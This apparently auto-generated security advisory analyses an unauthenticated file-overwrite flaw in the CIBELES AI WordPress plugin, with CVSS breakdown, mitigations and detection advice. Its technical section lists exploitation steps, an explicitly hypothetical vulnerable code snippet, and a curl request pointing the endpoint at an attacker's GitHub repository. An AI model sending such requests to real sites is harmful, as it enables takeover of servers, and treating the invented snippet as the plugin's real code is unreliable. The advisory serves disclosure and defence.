Description
The CIBELES AI plugin for WordPress is vulnerable to arbitrary file uploads due to missing capability check in the 'actualizador_git.php' file in all versions up to, and including, 1.10.8. This makes it possible for unauthenticated attackers to download arbitrary GitHub repositories and overwrite plugin files on the affected site's server which may make remote code execution possible.
EPSS Score:
0%
Comprehensive Technical Analysis of EUVD-2025-199661
1. Vulnerability Assessment and Severity Evaluation
The vulnerability in the CIBELES AI plugin for WordPress, identified as EUVD-2025-199661 (CVE-2025-13595), is classified as an arbitrary file upload vulnerability. This flaw arises due to a missing capability check in the actualizador_git.php file, allowing unauthenticated attackers to download arbitrary GitHub repositories and overwrite plugin files on the affected site's server. This can potentially lead to remote code execution (RCE).
Severity Evaluation:
- CVSS Base Score: 9.8
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
The high base score of 9.8 indicates a critical vulnerability. The CVSS vector breakdown shows that the vulnerability can be exploited over the network (AV:N), requires low complexity (AC:L), does not need any privileges (PR:N) or user interaction (UI:N), and has a high impact on confidentiality, integrity, and availability (C:H/I:H/A:H).
2. Potential Attack Vectors and Exploitation Methods
Attack Vectors:
- Unauthenticated Arbitrary File Upload: An attacker can exploit the vulnerability by sending a crafted HTTP request to the
actualizador_git.phpfile, which lacks proper capability checks. - Remote Code Execution (RCE): By uploading malicious files, an attacker can execute arbitrary code on the server, leading to complete compromise of the WordPress site.
Exploitation Methods:
- Direct Exploitation: An attacker can directly target the vulnerable endpoint by sending a specially crafted HTTP POST request to upload a malicious file.
- Automated Scripts: Attackers may use automated scripts to scan for vulnerable WordPress sites and exploit the vulnerability en masse.
3. Affected Systems and Software Versions
Affected Systems:
- WordPress sites using the CIBELES AI plugin.
Affected Software Versions:
- All versions of the CIBELES AI plugin up to and including 1.10.8.
4. Recommended Mitigation Strategies
- Immediate Patching: Upgrade the CIBELES AI plugin to a version higher than 1.10.8, where the vulnerability has been addressed.
- Access Controls: Implement strict access controls and capability checks to ensure that only authorized users can upload files.
- Web Application Firewall (WAF): Deploy a WAF to monitor and block suspicious activities, including unauthorized file uploads.
- Regular Audits: Conduct regular security audits and vulnerability assessments to identify and mitigate similar issues.
- Backup and Recovery: Ensure that regular backups are taken and that a recovery plan is in place to restore the site in case of a compromise.
5. Impact on European Cybersecurity Landscape
The vulnerability poses a significant risk to the European cybersecurity landscape, particularly for organizations and individuals using the CIBELES AI plugin. Given the widespread use of WordPress, the potential for large-scale exploitation is high. This underscores the importance of timely patching and proactive security measures to protect against such vulnerabilities.
6. Technical Details for Security Professionals
Vulnerable File:
actualizador_git.php
Vulnerable Code Snippet:
// Example of vulnerable code (hypothetical)
if (isset($_POST['update_repo'])) {
$repo_url = $_POST['repo_url'];
// Missing capability check
download_and_update_repo($repo_url);
}
Exploitation Steps:
- Identify the Vulnerable Endpoint: Locate the
actualizador_git.phpfile on the target WordPress site. - Craft the Exploit: Create a malicious GitHub repository with a payload designed to overwrite critical plugin files.
- Send the Request: Use a tool like
curlor a custom script to send a POST request to the vulnerable endpoint with the malicious repository URL.
Example Exploit Request:
curl -X POST -d "repo_url=https://github.com/attacker/malicious-repo" http://target-wordpress-site/wp-content/plugins/cibeles-ai/actualizador_git.php
Detection and Monitoring:
- Log Analysis: Monitor server logs for unusual file upload activities.
- File Integrity Monitoring: Use file integrity monitoring tools to detect unauthorized changes to plugin files.
- Intrusion Detection Systems (IDS): Deploy IDS to detect and alert on suspicious network activities.
Conclusion: The EUVD-2025-199661 vulnerability in the CIBELES AI plugin for WordPress is a critical issue that requires immediate attention. Organizations should prioritize patching and implement robust security measures to mitigate the risk of exploitation. The European cybersecurity community should remain vigilant and proactive in addressing such vulnerabilities to ensure the security and integrity of digital assets.